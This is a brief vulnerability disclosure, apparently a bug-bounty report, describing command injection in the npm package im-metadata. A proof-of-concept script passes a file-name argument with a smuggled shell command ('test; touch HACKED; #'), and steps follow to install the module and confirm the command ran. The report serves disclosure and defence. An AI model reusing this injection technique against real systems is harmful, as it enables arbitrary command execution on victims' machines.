vulnerability remote code execution
severity 3.8
language javascript
registry npm


This vulnerability allows to execute arbitrary commands remotely inside the victim's PC

The issue occurs because a user input is formatted inside a command that will be executed without any check.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var metadata = require("im-metadata");
metadata("test; touch HACKED; #", {}, function () {});
  1. Check there aren't files called HACKED
  2. Execute the following commands in another terminal:
npm i im-metadata # Install affected module
node poc.js #  Run the PoC
  1. Recheck the files: now HACKED has been created :)